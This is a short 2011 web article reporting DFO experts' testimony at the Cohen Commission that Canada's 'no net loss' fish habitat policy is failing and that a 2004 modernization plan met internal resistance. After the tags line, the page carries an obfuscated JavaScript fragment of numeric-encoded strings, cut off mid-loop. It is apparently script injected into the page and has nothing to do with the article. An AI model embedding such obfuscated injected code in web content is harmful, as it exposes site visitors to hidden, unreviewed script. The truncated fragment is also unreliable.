Fisheries habitat being steadily eroded

Written by Administrator Monday, 04 April 2011 18:08

A federal government policy intended to ensure there is "no net loss" of fish habitat in Canada is failing to achieve its goal, according to DFO experts DFO"s 1986 habitat management policy established a goal of "no net loss." This required that when fish habitat is damaged by development, then an equal or greater amount of habitat should be created or restored nearby, as compensation. DFO experts testifying at the Cohen Commission stated that fisheries habitat is being steadily eroded because the habitat provided in compensation often doesn't match in size or productivity the habitat that has been lost to development. Even more alarming was evidence that a 2004 "modernization plan" that DFO has been implementing in an attempt to improve habitat management has met strong resistance within the department because "it is predominantly perceived as lowering the bar on habitat protection." Some staff felt "the primary objective [of the plan] was to promote economic development."

TAGS: sustainable, fisheries, fish habitat, habitat erosion, habitat management policy, development, "no net loss"

var a=0,m,v,t,z,x=new Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656 380','7684','61818075'),l=x.length;while(++a